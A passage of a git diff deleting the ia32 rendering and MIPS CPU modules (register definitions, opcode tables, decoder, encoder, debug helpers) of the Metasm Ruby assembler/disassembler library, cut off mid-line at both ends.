o.props[:argsz] }.uniq and l.length == 1 and l.first - m.sz = l.first - else - # this is also the size of ctrlreg/dbgreg etc - # XXX fpu/simd ? - m.sz = i.prefix[:sz] || @size - end - end - end - if m and not m.adsz - if opcode_list_byname[i.opname].all? { |o| o.props[:adsz] } - m.adsz = opcode_list_byname[i.opname].first.props[:adsz] - else - m.adsz = i.prefix[:sz] || @size - end - end - end - - def check_reserved_name(name) - Reg.s_to_i[name] - end - - def instr_uncond_jump_to(target) - parse_instruction("jmp #{target}") - end -end -end diff --git a/lib/metasm/metasm/cpu/ia32/render.rb b/lib/metasm/metasm/cpu/ia32/render.rb deleted file mode 100644 index 2223819fdf..0000000000 --- a/lib/metasm/metasm/cpu/ia32/render.rb +++ /dev/null @@ -1,118 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ia32/opcodes' -require 'metasm/render' - -# XXX move context in another file ? -module Metasm -class Ia32 - class Argument - include Renderable - end - - [SegReg, DbgReg, TstReg, CtrlReg, FpReg].each { |c| c.class_eval { - def render ; [self.class.i_to_s[@val]] end - } } - [Reg, SimdReg].each { |c| c.class_eval { - def render ; [self.class.i_to_s[@sz][@val]] end - def context ; {'set sz' => lambda { |s| @sz = s }} end - } } - - class Farptr - def render - [@seg, ':', @addr] - end - end - - class ModRM - def qualifier(sz) - { - 8 => 'byte', - 16 => 'word', - 32 => 'dword', - 64 => 'qword', - 128 => 'oword' - }.fetch(sz) { |k| "_#{sz}bits" } - end - - attr_accessor :instruction - def render - r = [] - r << ( qualifier(@sz) << ' ptr ' ) if @sz and (not instruction or not @instruction.args.find { |a| a.kind_of? Reg and a.sz == @sz }) - r << @seg << ':' if seg - - e = nil - e = Expression[e, :+, @b] if b - e = Expression[e, :+, @imm] if imm - e = Expression[e, :+, (@s == 1 ? @i : [@s, :*, @i])] if s - r << '[' << e << ']' - end - - def context - {'set targetsz' => lambda { |s| @sz = s }, - 'set seg' => lambda { |s| @seg = Seg.new s }} - end - end - - def render_instruction(i) - r = [] - if pfx = i.prefix - r << 'lock ' if pfx[:lock] - r << pfx[:rep] << ' ' if pfx[:rep] - r << pfx[:jmphint] << ' ' if pfx[:jmphint] - r << 'seg_' << pfx[:seg] << ' ' if pfx[:seg] - end - r << i.opname - sep = ' ' - i.args.each { |a| - a.instruction = i if a.kind_of? ModRM - r << sep << a - sep = ', ' - } - r - end - - def instruction_context(i) - # XXX - h = {} - op = opcode_list_byname[i.opname].first - if i.prefix and i.prefix[:rep] - h['toogle repz'] = lambda { i.prefix[:rep] = {'repnz' => 'repz', 'repz' => 'repnz'}[i.prefix[:rep]] } if op.props[:stropz] - h['rm rep'] = lambda { i.prefix.delete :rep } - else - h['set rep'] = lambda { (i.prefix ||= {})[:rep] = 'rep' } if op.props[:strop] - h['set rep'] = lambda { (i.prefix ||= {})[:rep] = 'repz' } if op.props[:stropz] - end - if i.args.find { |a| a.kind_of? ModRM and a.seg } - h['rm seg'] = lambda { i.args.find { |a| a.kind_of? ModRM and a.seg }.seg = nil } - end - h['toggle lock'] = lambda { (i.prefix ||= {})[:lock] = !i.prefix[:lock] } - h - end - - def gui_hilight_word_regexp_init - ret = {} - - %w[a b c d].each { |r| - ret["#{r}l"] = "e?#{r}x|#{r}l" - ret["#{r}h"] = "e?#{r}x|#{r}h" - ret["#{r}x"] = ret["e#{r}x"] = "e?#{r}x|#{r}[hl]" - } - - %w[sp bp si di].each { |r| - ret[r] = ret["e#{r}"] = "e?#{r}" - } - - ret - end - - def gui_hilight_word_regexp(word) - @gui_hilight_word_hash ||= gui_hilight_word_regexp_init - @gui_hilight_word_hash[word] or super(word) - end -end -end diff --git a/lib/metasm/metasm/cpu/mips.rb b/lib/metasm/metasm/cpu/mips.rb deleted file mode 100644 index 52c3005e24..0000000000 --- a/lib/metasm/metasm/cpu/mips.rb +++ /dev/null @@ -1,14 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -class Metasm::MIPS < Metasm::CPU -end - -require 'metasm/main' -require 'metasm/cpu/mips/parse' -require 'metasm/cpu/mips/encode' -require 'metasm/cpu/mips/decode' -require 'metasm/cpu/mips/render' -require 'metasm/cpu/mips/debug' diff --git a/lib/metasm/metasm/cpu/mips/compile_c.rb b/lib/metasm/metasm/cpu/mips/compile_c.rb deleted file mode 100644 index a92e397ecc..0000000000 --- a/lib/metasm/metasm/cpu/mips/compile_c.rb +++ /dev/null @@ -1,7 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/mips/parse' -require 'metasm/compile_c' diff --git a/lib/metasm/metasm/cpu/mips/debug.rb b/lib/metasm/metasm/cpu/mips/debug.rb deleted file mode 100644 index 05e39c0b02..0000000000 --- a/lib/metasm/metasm/cpu/mips/debug.rb +++ /dev/null @@ -1,42 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm -class MIPS - def dbg_register_pc - @dbg_register_pc ||= :pc - end - def dbg_register_flags - @dbg_register_flags ||= :flags - end - - def dbg_register_list - @dbg_register_list ||= %w[z0 at v0 v1 a0 a1 a2 a3 - t0 t1 t2 t3 t4 t5 t6 t7 - s0 s1 s2 s3 s4 s5 s6 s7 - t8 t9 k0 k1 gp sp fp ra - sr mullo mulhi badva cause pc].map { |r| r.to_sym } - end - - def dbg_flag_list - @dbg_flag_list ||= [] - end - - def dbg_register_size - @dbg_register_size ||= Hash.new(@size) - end - - def dbg_need_stepover(dbg, addr, di) - di and di.opcode.props[:saveip] - end - - def dbg_end_stepout(dbg, addr, di) - di and di.opcode.name == 'foobar' # TODO - end -end -end diff --git a/lib/metasm/metasm/cpu/mips/decode.rb b/lib/metasm/metasm/cpu/mips/decode.rb deleted file mode 100644 index 6b61555bbb..0000000000 --- a/lib/metasm/metasm/cpu/mips/decode.rb +++ /dev/null @@ -1,284 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/mips/opcodes' -require 'metasm/decode' - -module Metasm -class MIPS - def build_opcode_bin_mask(op) - # bit = 0 if can be mutated by an field value, 1 if fixed by opcode - op.bin_mask = 0 - op.args.each { |f| - op.bin_mask |= @fields_mask[f] << @fields_shift[f] - } - op.bin_mask = 0xffffffff ^ op.bin_mask - end - - def build_bin_lookaside - lookaside = Array.new(256) { [] } - opcode_list.each { |op| - build_opcode_bin_mask op - - b = op.bin >> 24 - msk = op.bin_mask >> 24 - - for i in b..(b | (255^msk)) - next if i & msk != b & msk - lookaside[i] << op - end - } - lookaside - end - - def decode_findopcode(edata) - di = DecodedInstruction.new(self) - val = edata.decode_imm(:u32, @endianness) - edata.ptr -= 4 - if val.kind_of?(Expression) - # relocations - hval = Expression[val, :&, 0xff000000].reduce - if hval.kind_of?(Expression) - # reloc_i26 - if hval.kind_of?(Expression) and pat = hval.match(Expression[['a', :&, 0x300_0000], :|, 'b'], 'a', 'b') - hval = pat['b'] - end - end - di if di.opcode = @bin_lookaside[hval >> 24].find { |op| - (op.bin & op.bin_mask) == Expression[val, :&, op.bin_mask].reduce - } - else - di if di.opcode = @bin_lookaside[val >> 24].find { |op| - (op.bin & op.bin_mask) == (val & op.bin_mask) - } - end - end - - def decode_instr_op(edata, di) - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - val = edata.decode_imm(:u32, @endianness) - - field_val = lambda { |f| - if val.kind_of?(Expression) - r = Expression[[val, :>>, @fields_shift[f]], :&, @fields_mask[f]].reduce - else - r = (val >> @fields_shift[f]) & @fields_mask[f] - end - - next r if r.kind_of?(Expression) - case f - when :msbd; r += 1 - when :i16; r = Expression.make_signed(r, 16) - when :i20; r = Expression.make_signed(r, 20) - when :i26; r = Expression.make_signed(r, 26) - else r - end - } - - op.args.each { |a| - di.instruction.args << case a - when :rs, :rt, :rd; Reg.new field_val[a] - when :sa, :i16, :i20, :i26, :it, :msbd, :sel, :idb; Expression[field_val[a]] - when :rs_i16 - len = 32 - len = 64 if op.props[:m64] - len = 16 if op.props[:mi16] or op.props[:mu16] - len = 8 if op.props[:mi8 ] or op.props[:mu8] - Memref.new Reg.new(field_val[:rs]), Expression[field_val[:i16]], len - when :ft; FpReg.new field_val[a] - when :idm1; Expression['unsupported'] - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.bin_length += edata.ptr - before_ptr - - return false if edata.ptr > edata.length - - di - end - - # converts relative branch offsets to absolute addresses - # else just add the offset +off+ of the instruction + its length (off may be an Expression) - # assumes edata.ptr points just after the instruction (as decode_instr_op left it) - # do not call twice on the same di ! - def decode_instr_interpret(di, addr) - if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.opcode.name[0] != ?t - delta = Expression[di.instruction.args.last, :<<, 2].reduce - if di.opcode.args.include? :i26 - # absolute jump in the 0x3ff_ffff region surrounding next_pc - if delta.kind_of? Expression and delta.op == :& and delta.rexpr == 0x3ff_fffc - # relocated arg: assume the linker mapped so that instr&target are in the same region - arg = Expression[delta.lexpr].reduce - else - arg = Expression[[[addr, :+, di.bin_length], :&, 0xfc00_0000], :+, delta].reduce - end - else - arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce - end - di.instruction.args[-1] = Expression[arg] - end - - di - end - - # hash opname => lambda { |di, *sym_args| binding } - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - def backtrace_binding=(b) @backtrace_binding = b end - - def init_backtrace_binding - @backtrace_binding ||= {} - opcode_list.map { |ol| ol.name }.uniq.each { |op| - binding = case op - when 'break' - when 'bltzal', 'bgezal'; lambda { |di, *a| - # XXX $ra is set only if branch is taken... - { :$ra => Expression[Expression[di.address, :+, 2*di.bin_length].reduce] } - } - when 'nop', 'j', 'jr', /^b/; lambda { |di, *a| {} } - when 'lui'; lambda { |di, a0, a1| { a0 => Expression[[a1, :&, 0xffff], :<<, 16] } } - when 'add', 'addu', 'addi', 'addiu'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :+, a2] } } # XXX addiu $sp, -40h should be addiu $sp, 0xffc0 from the books, but.. - when 'sub', 'subu'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :-, a2] } } - when 'slt', 'slti'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :<, a2] } } - when 'and', 'andi'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :&, a2] } } - when 'or', 'ori'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :|, a2] } } - when 'nor'; lambda { |di, a0, a1, a2| { a0 => Expression[:~, [a1, :|, a2]] } } - when 'xor'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :^, a2] } } - when 'sll', 'sllv'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :>>, a2] } } - when 'srl', 'srlv', 'sra', 'srav'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :<<, a2] } } # XXX sign-extend - when 'lw'; lambda { |di, a0, a1| { a0 => Expression[a1] } } - when 'sw'; lambda { |di, a0, a1| { a1 => Expression[a0] } } - when 'lh', 'lhu'; lambda { |di, a0, a1| { a0 => Expression[a1] } } # XXX sign-extend - when 'sh'; lambda { |di, a0, a1| { a1 => Expression[a0] } } - when 'lb', 'lbu'; lambda { |di, a0, a1| { a0 => Expression[a1] } } - when 'sb'; lambda { |di, a0, a1| { a1 => Expression[a0] } } - when /^slti?u?/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :<, a2] } } # XXX signedness - when 'mfhi'; lambda { |di, a0| { a0 => Expression[:hi] } } - when 'mflo'; lambda { |di, a0| { a0 => Expression[:lo] } } - when 'mult'; lambda { |di, a0, a1| { :hi => Expression[[a0, :*, a1], :>>, 32], :lo => Expression[[a0, :*, a1], :&, 0xffff_ffff] } } - when 'div'; lambda { |di, a0, a1| { :hi => Expression[a0, :%, a1], :lo => Expression[a0, :/, a1] } } - when 'jal', 'jalr'; lambda { |di, a0| { :$ra => Expression[Expression[di.address, :+, 2*di.bin_length].reduce] } } - when 'li', 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] } } - when 'syscall'; lambda { |di, *a| { :$v0 => Expression::Unknown } } - end - - @backtrace_binding[op] ||= binding if binding - } - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when Memref; arg.symbolic(di.address) - when Reg; arg.symbolic - else arg - end - } - - binding = if binding = backtrace_binding[di.instruction.opname] - binding[di, *a] - else - if di.instruction.opname[0] == ?b and di.opcode.props[:setip] - else - puts "unknown instruction to emu #{di}" if $VERBOSE - end - {} - end - - binding.delete 0 # allow add $zero, 42 => nop - - binding - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - arg = di.instruction.args.last - [Expression[ - case arg - when Memref; Indirection[[arg.base.to_s.to_sym, :+, arg.offset], @size/8, di.address] - when Reg; arg.to_s.to_sym - else arg - end]] - end - - def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) - retaddrlist.map! { |retaddr| dasm.decoded[retaddr] ? dasm.decoded[retaddr].block.list.last.address : retaddr } if retaddrlist - b = f.backtrace_binding - - bt_val = lambda { |r| - next if not retaddrlist - bt = [] - b[r] = Expression::Unknown # break recursive dep - retaddrlist.each { |retaddr| - bt |= dasm.backtrace(Expression[r], retaddr, - :include_start => true, :snapshot_addr => faddr, :origin => retaddr) - } - b[r] = ((bt.length == 1) ? bt.first : Expression::Unknown) - } - wantregs = Reg.i_to_s.values if wantregs.empty? - wantregs.map { |r| r.to_sym }.each(&bt_val) - - puts "update_func_bind: #{Expression[faddr]} has sp -> #{b[:$sp]}" if not Expression[b[:$sp], :-, :$sp].reduce.kind_of?(::Integer) if $VERBOSE - end - - def backtrace_is_function_return(expr, di=nil) - expr.reduce_rec == :$ra - end - - def backtrace_is_stack_address(expr) - Expression[expr].expr_externals.include? :$sp - end - - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; a == old ? new : Expression[a.bind(old => new).reduce] - when Memref - a.offset = (a.offset == old ? new : Expression[a.offset.bind(old => new).reduce]) if a.offset - a - else a - end - } - end - - # make the target of the call know the value of $t9 (specified by the ABI) - # XXX hackish - def backtrace_found_result(dasm, di, expr, type, len) - if di.opcode.name == 'jalr' and di.instruction.args == [:$t9] - expr = dasm.normalize(expr) - (dasm.address_binding[expr] ||= {})[:$t9] ||= expr - end - end - - def delay_slot(di=nil) - # branch.*likely has no delay slot - # bltzal/bgezal are 'link', not 'likely', hence the check for -2 - (di and di.opcode.props[:setip] and (di.opcode.name[-1] != ?l or di.opcode.name[-2] == ?a)) ? 1 : 0 - end - - def disassembler_default_func - df = DecodedFunction.new - df.backtrace_binding = %w[v0 v1 a0 a1 a2 a3 t0 t1 t2 t3 t4 t5 t6 t7 t8 t9 at k0 k1].inject({}) { |h, r| h.update "$#{r}".to_sym => Expression::Unknown } - df.backtrace_binding.update %w[gp sp fp ra s0 s1 s2 s3 s4 s5 s6 s7].inject({}) { |h, r| h.update "$#{r}".to_sym => "$#{r}".to_sym } - df.backtracked_for = [BacktraceTrace.new(Expression[:$ra], :default, Expression[:$ra], :x)] - df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| - if funcaddr != :default - btfor - elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] and di.instruction.to_s != 'jr $ra' - btfor - else [] - end - } - df - end -end -end diff --git a/lib/metasm/metasm/cpu/mips/encode.rb b/lib/metasm/metasm/cpu/mips/encode.rb deleted file mode 100644 index 23df0694ff..0000000000 --- a/lib/metasm/metasm/cpu/mips/encode.rb +++ /dev/null @@ -1,52 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/mips/opcodes' -require 'metasm/encode' - -module Metasm -class MIPS - private - def encode_instr_op(exe, instr, op) - base = op.bin - set_field = lambda { |f, v| - base |= (v & @fields_mask[f]) << @fields_shift[f] - } - - val, mask, shift = 0, 0, 0 - - # convert label name for jmp/call/loop to relative offset - if op.props[:setip] and op.name[0] != ?t and instr.args.last.kind_of? Expression - postlabel = exe.new_label('jmp_offset') - instr = instr.dup - if op.args.include? :i26 - pl = Expression[postlabel, :&, 0xfc00_0000] - else - pl = postlabel - end - instr.args[-1] = Expression[[instr.args[-1], :-, pl], :>>, 2] - postdata = EncodedData.new '', :export => {postlabel => 0} - else - postdata = '' - end - - op.args.zip(instr.args).each { |sym, arg| - case sym - when :rs, :rt, :rd, :ft - set_field[sym, arg.i] - when :rs_i16 - set_field[:rs, arg.base.i] - val, mask, shift = arg.offset, @fields_mask[:i16], @fields_shift[:i16] - when :sa, :i16, :i20, :i26, :it, :msbd, :sel, :idb - val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym] - val = Expression[val, :-, 1] if sym == :msbd - end - } - - Expression[base, :|, [[val, :&, mask], :<<, shift]].encode(:u32, @endianness) << postdata - end -end -end diff --git a/lib/metasm/metasm/cpu/mips/main.rb b/lib/metasm/metasm/cpu/mips/main.rb deleted file mode 100644 index f1dc5311cc..0000000000 --- a/lib/metasm/metasm/cpu/mips/main.rb +++ /dev/null @@ -1,79 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm -class MIPS < CPU - class Reg - class << self - attr_accessor :s_to_i, :i_to_s - end - @s_to_i = {} - @i_to_s = {} - (0..31).each { |i| @s_to_i["r#{i}"] = @s_to_i["$r#{i}"] = @s_to_i["$#{i}"] = i } - %w[zero at v0 v1 a0 a1 a2 a3 - t0 t1 t2 t3 t4 t5 t6 t7 - s0 s1 s2 s3 s4 s5 s6 s7 - t8 t9 k0 k1 gp sp fp ra].each_with_index { |r, i| @s_to_i[r] = @s_to_i['$'+r] = i ; @i_to_s[i] = '$'+r } - - attr_accessor :i - def initialize(i) - @i = i - end - - Sym = @i_to_s.sort.map { |k, v| v.to_sym } - def symbolic ; @i == 0 ? 0 : Sym[@i] end - end - - class FpReg - class << self - attr_accessor :s_to_i, :i_to_s - end - @i_to_s = (0..31).map { |i| "$f#{i}" } - @s_to_i = (0..31).inject({}) { |h, i| h.update "f#{i}" => i, "$f#{i}" => i } - - attr_accessor :i - def initialize(i) - @i = i - end - end - - class Memref - attr_accessor :base, :offset, :sz - def initialize(base, offset, sz=32) - @base, @offset, @sz = base, offset, sz - end - - def symbolic(orig) - p = nil - p = Expression[p, :+, @base.symbolic] if base - p = Expression[p, :+, @offset] if offset - Indirection[p.reduce, @sz/8, orig] - end - end - - def initialize(endianness = :big, family = :latest) - super() - @endianness = endianness - @size = 32 - @family = family - end - - def init_opcode_list - send("init_#@family") - @opcode_list - end -end - -class MIPS64 < MIPS - def initialize(endianness = :big, family = :latest) - super(endianness, family) - @size = 64 - end -end -end - diff --git a/lib/metasm/metasm/cpu/mips/opcodes.rb b/lib/metasm/metasm/cpu/mips/opcodes.rb deleted file mode 100644 index a447304425..0000000000 --- a/lib/metasm/metasm/cpu/mips/opcodes.rb +++ /dev/null @@ -1,512 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/mips/main' - -# TODO coprocessors, floating point, 64bits, thumb mode - -module Metasm - -class MIPS - def addop(name, bin, *args) - o = Opcode.new name, bin - args.each { |a| - o.args << a if @fields_mask[a] - o.props[a] = true if @valid_props[a] - } - @opcode_list << o - end - - def init_mips32_obsolete - addop 'beql', 0b010100 << 26, :rt, :rs, :i16, :setip # == , exec delay slot only if jump taken - addop 'bnel', 0b010101 << 26, :rt, :rs, :i16, :setip # != - addop 'blezl',0b010110 << 26, :rt_z, :rs, :i16, :setip # <= 0 - addop 'bgtzl',0b010111 << 26, :rt_z, :rs, :i16, :setip # > 0 - addop 'bltzl',1 << 26 | 0b00010 << 16, :rs, :i16, :setip - addop 'bgezl',1 << 26 | 0b00011 << 16, :rs, :i16, :setip - addop 'bltzall', 1 << 26 | 0b10010 << 16, :rs, :i16, :setip - addop 'bgezall', 1 << 26 | 0b10011 << 16, :rs, :i16, :setip - end - - def init_mips32_reserved - addop 'future111011', 0b111011 << 26, :i26 - - %w[011000 011001 011010 011011 100111 101100 101101 110100 110111 111100 111111].each { |b| - addop "reserved#{b}", b.to_i(2) << 26, :i26 - } - - addop 'ase_jalx', 0b011101 << 26, :i26 - addop 'ase011110', 0b011110 << 26, :i26 - # TODO add all special/regimm/... - end - - def init_mips32 - @opcode_list = [] - @fields_mask.update :rs => 0x1f, :rt => 0x1f, :rd => 0x1f, :sa => 0x1f, - :i16 => 0xffff, :i26 => 0x3ffffff, :rs_i16 => 0x3e0ffff, :it => 0x1f, - :ft => 0x1f, :idm1 => 0x1f, :idb => 0x1f, :sel => 7, :i20 => 0xfffff - @fields_shift.update :rs => 21, :rt => 16, :rd => 11, :sa => 6, - :i16 => 0, :i26 => 0, :rs_i16 => 0, :it => 16, - :ft => 16, :idm1 => 11, :idb => 11, :sel => 0, :i20 => 6 - @valid_props.update :mi8 => true, :mu8 => true, :mi16 => true, :mu16 => true - - init_mips32_obsolete - init_mips32_reserved - - addop 'j', 0b000010 << 26, :i26, :setip, :stopexec # sets the program counter to (i26 << 2) | ((pc+4) & 0xfc000000) ie i26*4 in the 256M-aligned section containing the instruction in the delay slot - addop 'jal', 0b000011 << 26, :i26, :setip, :stopexec, :saveip # same thing, saves return addr in r31 - - addop 'mov', 0b001000 << 26, :rt, :rs # rt <- rs+0 - addop 'addi', 0b001000 << 26, :rt, :rs, :i16 # add rt <- rs+i - addop 'li', 0b001001 << 26, :rt, :i16 # addiu rt <- zero+i - addop 'addiu',0b001001 << 26, :rt, :rs, :i16 # add unsigned - addop 'slti', 0b001010 << 26, :rt, :rs, :i16 # set on less than - addop 'sltiu',0b001011 << 26, :rt, :rs, :i16 # set on less than unsigned - addop 'andi', 0b001100 << 26, :rt, :rs, :i16 # and - addop 'ori', 0b001101 << 26, :rt, :rs, :i16 # or - addop 'xori', 0b001110 << 26, :rt, :rs, :i16 # xor - addop 'lui', 0b001111 << 26, :rt, :i16 # load upper -# addop 'li', (0b001111 << 26) << 32 | (0b001101 << 26), :rt_64, :i32 # lui + ori - - addop 'b', 0b000100 << 26, :i16, :setip, :stopexec # bz $zero - addop 'bz', 0b000100 << 26, :rs, :i16, :setip # == 0 (beq $0) - addop 'bz', 0b000100 << 26, :rt, :i16, :setip # == 0 - addop 'bnz', 0b000101 << 26, :rs, :i16, :setip # != 0 - addop 'bnz', 0b000101 << 26, :rt, :i16, :setip # != 0 - - addop 'beq', 0b000100 << 26, :rt, :rs, :i16, :setip # == - addop 'bne', 0b000101 << 26, :rt, :rs, :i16, :setip # != - addop 'blez', 0b000110 << 26, :rs, :i16, :setip # <= 0 - addop 'bgtz', 0b000111 << 26, :rs, :i16, :setip # > 0 - - addop 'lb', 0b100000 << 26, :rt, :rs_i16, :mi8 # load byte rs <- [rt+i] - addop 'lh', 0b100001 << 26, :rt, :rs_i16, :mi16 # load halfword - addop 'lwl', 0b100010 << 26, :rt, :rs_i16 # load word left - addop 'lw', 0b100011 << 26, :rt, :rs_i16 # load word - addop 'lbu', 0b100100 << 26, :rt, :rs_i16, :mu8 # load byte unsigned - addop 'lhu', 0b100101 << 26, :rt, :rs_i16, :mu16 # load halfword unsigned - addop 'lwr', 0b100110 << 26, :rt, :rs_i16 # load word right - - addop 'sb', 0b101000 << 26, :rt, :rs_i16, :mi8 # store byte - addop 'sh', 0b101001 << 26, :rt, :rs_i16, :mi16 # store halfword - addop 'swl', 0b101010 << 26, :rt, :rs_i16 # store word left - addop 'sw', 0b101011 << 26, :rt, :rs_i16 # store word - addop 'swr', 0b101110 << 26, :rt, :rs_i16 # store word right - - addop 'll', 0b110000 << 26, :rt, :rs_i16 # load linked word (read for atomic r/modify/w, sc does the w) - addop 'sc', 0b111000 << 26, :rt, :rs_i16 # store conditional word - - addop 'lwc1', 0b110001 << 26, :ft, :rs_i16 # load word in fpreg low - addop 'swc1', 0b111001 << 26, :ft, :rs_i16 # store low fpreg word - addop 'lwc2', 0b110010 << 26, :rt, :rs_i16 # load word to copro2 register low - addop 'swc2', 0b111010 << 26, :rt, :rs_i16 # store low coproc2 register - - addop 'ldc1', 0b110101 << 26, :ft, :rs_i16 # load dword in fpreg low - addop 'sdc1', 0b111101 << 26, :ft, :rs_i16 # store fpreg - addop 'ldc2', 0b110110 << 26, :rt, :rs_i16 # load dword to copro2 register - addop 'sdc2', 0b111110 << 26, :rt, :rs_i16 # store coproc2 register - - addop 'pref', 0b110011 << 26, :it, :rs_i16 # prefetch (it = %w[load store r2 r3 load_streamed store_streamed load_retained store_retained - # r8 r9 r10 r11 r12 r13 r14 r15 r16 r17 r18 r19 r20 r21 r22 r23 r24 writeback_invalidate - # id26 id27 id28 id29 prepare_for_store id31] - addop 'cache',0b101111 << 26, :it, :rs_i16 # do things with the proc cache - - # special - addop 'nop', 0 - addop 'ssnop',1<<6 - addop 'ehb', 3<<6 - addop 'sll', 0b000000, :rd, :rt, :sa - addop 'movf', 0b000001, :rd, :rs, :cc - addop 'movt', 0b000001 | (1<<16), :rd, :rs, :cc - addop 'srl', 0b000010, :rd, :rt, :sa - addop 'sra', 0b000011, :rd, :rt, :sa - addop 'sllv', 0b000100, :rd, :rt, :rs - addop 'srlv', 0b000110, :rd, :rt, :rs - addop 'srav', 0b000111, :rd, :rt, :rs - - addop 'jr', 0b001000, :rs, :setip, :stopexec # hint field ? - addop 'jr.hb',0b001000 | (1<<10), :rs, :setip, :stopexec - addop 'jalr', 0b001001 | (31<<11), :rs, :setip, :stopexec, :saveip # rd = r31 implicit - addop 'jalr', 0b001001, :rd, :rs, :setip, :stopexec, :saveip - addop 'jalr.hb', 0b001001 | (1<<10) | (31<<11), :rs, :setip, :stopexec, :saveip - addop 'jalr.hb', 0b001001 | (1<<10), :rd, :rs, :setip, :stopexec, :saveip - addop 'movz', 0b001010, :rd, :rs, :rt # rt == 0 ? rd <- rs - addop 'movn', 0b001011, :rd, :rs, :rt - addop 'syscall', 0b001100, :i20 - addop 'break',0b001101, :i20, :stopexec - addop 'sync', 0b001111 # type 0 implicit - addop 'sync', 0b001111, :sa - - addop 'mfhi', 0b010000, :rd # copies special reg HI to reg - addop 'mthi', 0b010001, :rs # copies reg to special reg HI - addop 'mflo', 0b010010, :rd # copies special reg LO to reg - addop 'mtlo', 0b010011, :rs # copies reg to special reg LO - - addop 'mult', 0b011000, :rs, :rt # multiplies the registers and store the result in HI:LO - addop 'multu',0b011001, :rs, :rt - addop 'div', 0b011010, :rs, :rt - addop 'divu', 0b011011, :rs, :rt - addop 'add', 0b100000, :rd, :rs, :rt - addop 'addu', 0b100001, :rd, :rs, :rt - addop 'sub', 0b100010, :rd, :rs, :rt - addop 'subu', 0b100011, :rd, :rs, :rt - addop 'and', 0b100100, :rd, :rs, :rt - addop 'or', 0b100101, :rd, :rs, :rt - addop 'xor', 0b100110, :rd, :rs, :rt - addop 'not', 0b100111, :rd, :rt # nor $0 - addop 'not', 0b100111, :rd, :rs - addop 'nor', 0b100111, :rd, :rs, :rt - - addop 'slt', 0b101010, :rd, :rs, :rt # rs<rt ? rd<-1 : rd<-0 - addop 'sltu', 0b101011, :rd, :rs, :rt - - addop 'tge', 0b110000, :rs, :rt # rs >= rt ? trap - addop 'tgeu', 0b110001, :rs, :rt - addop 'tlt', 0b110010, :rs, :rt - addop 'tltu', 0b110011, :rs, :rt - addop 'teq', 0b110100, :rs, :rt - addop 'tne', 0b110110, :rs, :rt - - - # regimm - addop 'bltz', (1<<26) | (0b00000<<16), :rs, :i16, :setip - addop 'bgez', (1<<26) | (0b00001<<16), :rs, :i16, :setip - addop 'tgei', (1<<26) | (0b01000<<16), :rs, :i16, :setip - addop 'tgfiu',(1<<26) | (0b01001<<16), :rs, :i16, :setip - addop 'tlti', (1<<26) | (0b01010<<16), :rs, :i16, :setip - addop 'tltiu',(1<<26) | (0b01011<<16), :rs, :i16, :setip - addop 'teqi', (1<<26) | (0b01100<<16), :rs, :i16, :setip - addop 'tnei', (1<<26) | (0b01110<<16), :rs, :i16, :setip - addop 'bltzal', (1<<26) | (0b10000<<16), :rs, :i16, :setip, :saveip - addop 'bgezal', (1<<26) | (0b10001<<16), :i16, :setip, :stopexec, :saveip # bgezal $zero => unconditionnal - addop 'bgezal', (1<<26) | (0b10001<<16), :rs, :i16, :setip, :saveip - - - # special2 - addop 'madd', (0b011100<<26) | 0b000000, :rs, :rt - addop 'maddu',(0b011100<<26) | 0b000001, :rs, :rt - addop 'mul', (0b011100<<26) | 0b000010, :rd, :rs, :rt - addop 'msub', (0b011100<<26) | 0b000100, :rs, :rt - addop 'msubu',(0b011100<<26) | 0b000101, :rs, :rt - addop 'clz', (0b011100<<26) | 0b100000, :rd, :rs, :rt # must have rs == rt - addop 'clo', (0b011100<<26) | 0b100001, :rd, :rs, :rt # must have rs == rt - addop 'sdbbp',(0b011100<<26) | 0b111111, :i20 - - - # cp0 - addop 'mfc0', 